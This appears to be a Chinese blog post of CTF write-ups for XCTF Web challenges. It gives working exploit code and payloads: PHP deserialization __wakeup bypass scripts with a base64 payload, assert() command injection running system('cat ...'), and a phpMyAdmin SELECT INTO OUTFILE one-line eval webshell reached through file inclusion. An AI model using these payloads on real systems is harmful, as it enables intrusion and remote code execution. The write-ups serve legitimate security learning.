zoukankan      html  css  js  c++  java
  • 攻防世界Web区部分题解

    攻防世界Web区部分题解

      前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数 ... 全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 对象 , 类 , 数组 , 变量 , 匿名函数 . 通过这种相互转换 ,从而完成 数据持久化。

    Web_php_unserialize

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>

      源码如上所示,是一道考察反序列化的题目。这里应该是要绕过__wakeup的检测,在构造payload的时候,把fl4g.php传递进去,最后可以通过__destruct()把fl4g.php给打印出来。

      可以看到函数在后面进行参数传递的时候,也对我们要传递的参数做了一个简单的过滤,通过preg_match进行了正则过滤。'O:4'这种构造的payload会被过滤掉,所以这时候我们需要改动一下payload,用'+4'代替'4'来进行绕过。exp如下所示:

    <?php
        class Demo{
            private $file='index.php';
            public function __construct($file){
                $this->file=$file;
            }
            function __destruct(){
                echo @highlight_file($this->file,true);
            }
            function __wakeup(){
                if($this->file!='index.php'){
                    $this->file='index.php';
                }
            }
        }
    $A=new Demo('fl4g.php');
    $C=serialize($A);
    $C=str_replace('O:4','O:+4',$C);
    $C=str_replace(':1:',':2:',$C);
    var_dump($C);
    var_dump(base64_encode($C));
    
    ?>

    最终的payload:

    ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

    unserialize3

       进入环境,源码如下。

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=

      这里也是调用了一个__wakeup的魔术方法,所以我们利用的思路,大体和前面一个题目一样。

    <?php
        class xctf{
            public $flag='111';
            public function __wakeup(){
                exit('bad requests');
            }
        }
        $A=new xctf();
        $B=serialize($A);
        $B=str_replace(':1:',':2:',$B);
        var_dump($B);
        var_dump(base64_encode($B));
    ?>

       上面两道题目实际上考察的都是同一个东西,__wakeup魔术方法在反序列化的时候,如果定义的参数数目大于实际字符串的数目,就会跳过__wakeup魔术方法的执行。

    mfw

    进入界面,题目提示git泄露,拖下源码后开始代码审计。

    <?php
    
    if (isset($_GET['page'])) {
        $page = $_GET['page'];
    } else {
        $page = "home";
    }
    
    $file = "templates/" . $page . ".php";
    
    // I heard '..' is dangerous!
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    // assert会执行函数并且返回一个布尔值
    // die输出一条消息,并退出当前脚本
    // 返回字符串在上一个字符串中出现的位置,如果没有找到字符串则返回false
    // TODO: Make this look nice
    assert("file_exists('$file')") or die("That file doesn't exist!");
    
    ?>

    一开始的时候,我尝试绕过strpos的检测,但是这道题目的考察点并不在这里。这道题目的断言函数在接受参数的时候,没有对接收的参数做一个审查,所以构造合理的话,可以实现一个命令执行的效果。assert()断言的函数定义在PHP5和PHP7中分别如下所示:

    assert ( mixed $assertion [, string $description ] ) : bool
    assert ( mixed $assertion [, Throwable $exception ] ) : bool

    如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。

    最后在url中构造的payload如下:

    '.system("cat templates/flag.php").'

    两个引号用来闭合'$file'中的前一个引号和后一个引号。

    ') or system("cat templates/flag.php");//

    或者使用括号来对括号进行闭合。

    Web_php_include

    这道题我记录一种爆破目录,然后数据库传马的黑盒思路。其他几种都是基于php伪协议的思路,主要在于对strstr函数的大小写绕过上。

    首先御剑扫描一下,发现phpmyadmin的登录页面,这时候,用bp的intruder模块来对目录进行爆破。得到登录密码为空。

     登录进去的页面就如图所示,然后我们在这里写入木马,将一句话木马写入到"/tmp/hack.php"(linux下这个目录的权限一般是可写的),然后通过文件包含将这个文件写入到page变量中,用蚁剑进行连接。

    select  "<?php eval($_POST['hack']);?>" into outfile "/tmp/hack.php"

    写入数据库的payload。

    /?page=/tmp/hack.php

     最后得到flag。

    这里可以写入一句话木马的原理可以再探究一下。phpmyadmin这里有一个全局变量secure-file-priv,这个全局变量是指定文件夹为导出文件的地方,默认情况下,secure-file-priv是一个空值(NULL),在phpmyadmin里面我们可以查看一下这个全局变量的值。

    SHOW VARIABLES LIKE "secure_file_priv";

    得到的结果如图所示:

     为空值的时候,说明我们可以在可写文件夹下导入导出目录,也就是说我们可以在一些目录下写入一句话木马,同时通过文件包含,用蚁剑拿到webshell。

  • 相关阅读:
    JVM垃圾收集器以及内存分配
    VisualVM工具的使用
    jstack的使用
    内存溢出的定位与分析
    JVM的内存模型
    JVM运行参数
    kafka-高效读写数据+zookeeper作用+事务
    重定向机制
    HTTP协议、时间戳
    TCP常见面试题 
  • 原文地址:https://www.cnblogs.com/L0g4n-blog/p/13766248.html
Copyright © 2011-2022 走看看